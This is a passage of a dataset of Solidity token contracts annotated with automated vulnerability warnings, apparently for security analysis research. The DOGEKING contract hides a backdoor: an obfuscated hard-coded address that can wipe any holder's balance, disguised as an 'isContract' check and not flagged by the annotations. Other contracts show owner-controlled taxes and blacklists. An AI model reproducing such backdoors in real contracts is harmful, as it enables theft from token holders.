\"TimelockController: caller must be timelock\"\n );\n\n emit MinDelayChange(_minDelay, newDelay);\n\n _minDelay = newDelay;\n }\n\n function onERC721Received(\n address,\n address,\n uint256,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n function onERC1155Received(\n address,\n address,\n uint256,\n uint256,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC1155Received.selector;\n }\n\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] memory,\n uint256[] memory,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC1155BatchReceived.selector;\n }\n}\n\ncontract Timelock is TimelockController {\n constructor(\n uint256 minDelay,\n address[] memory proposers,\n address[] memory executors,\n address owner\n ) TimelockController(minDelay, proposers, executors, owner) {}\n}\n",
"file_name": "solidity_code_10060.sol",
"size_bytes": 32335,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐕DOGEKING\", unicode\"🐕DOGEKING\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10061.sol",
"size_bytes": 7322,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DRAGOO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 89d3555): DRAGOO._taxWallet should be immutable \n\t// Recommendation for 89d3555: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 416ad09): DRAGOO._initialBuyTax should be constant \n\t// Recommendation for 416ad09: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: fcdf01e): DRAGOO._initialSellTax should be constant \n\t// Recommendation for fcdf01e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b441466): DRAGOO._reduceBuyTaxAt should be constant \n\t// Recommendation for b441466: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e67e1c7): DRAGOO._reduceSellTaxAt should be constant \n\t// Recommendation for e67e1c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: edebaa2): DRAGOO._preventSwapBefore should be constant \n\t// Recommendation for edebaa2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dragoo by Matt Furie\";\n\n string private constant _symbol = unicode\"$DRAGOO\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52709fa): DRAGOO._taxSwapThreshold should be constant \n\t// Recommendation for 52709fa: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 824ca61): DRAGOO._maxTaxSwap should be constant \n\t// Recommendation for 824ca61: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c0df3fe): DRAGOO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c0df3fe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f54657e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f54657e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c488c81): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c488c81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f54657e\n\t\t// reentrancy-benign | ID: c488c81\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f54657e\n\t\t// reentrancy-benign | ID: c488c81\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 26f696d): DRAGOO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 26f696d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c488c81\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f54657e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a4c4d3f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a4c4d3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 133a859): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 133a859: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a4c4d3f\n\t\t\t\t// reentrancy-eth | ID: 133a859\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a4c4d3f\n\t\t\t\t\t// reentrancy-eth | ID: 133a859\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 133a859\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 133a859\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 133a859\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a4c4d3f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 133a859\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 133a859\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a4c4d3f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f54657e\n\t\t// reentrancy-events | ID: a4c4d3f\n\t\t// reentrancy-benign | ID: c488c81\n\t\t// reentrancy-eth | ID: 133a859\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6c30192): DRAGOO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6c30192: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f54657e\n\t\t// reentrancy-events | ID: a4c4d3f\n\t\t// reentrancy-eth | ID: 133a859\n\t\t// arbitrary-send-eth | ID: 6c30192\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0008f89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0008f89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 84bb8a2): DRAGOO.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 84bb8a2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bd648d8): DRAGOO.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bd648d8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ad9f89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ad9f89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0008f89\n\t\t// reentrancy-eth | ID: 4ad9f89\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0008f89\n\t\t// unused-return | ID: 84bb8a2\n\t\t// reentrancy-eth | ID: 4ad9f89\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0008f89\n\t\t// unused-return | ID: bd648d8\n\t\t// reentrancy-eth | ID: 4ad9f89\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0008f89\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4ad9f89\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9b28046): DRAGOO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 9b28046: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 9b28046\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10062.sol",
"size_bytes": 20846,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant _FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000EE;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cca3ca5): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for cca3ca5: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7329d99): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 7329d99: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e61c27b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for e61c27b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: adf7a1e): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for adf7a1e: Consider ordering multiplication before division.\n\t// WARNING 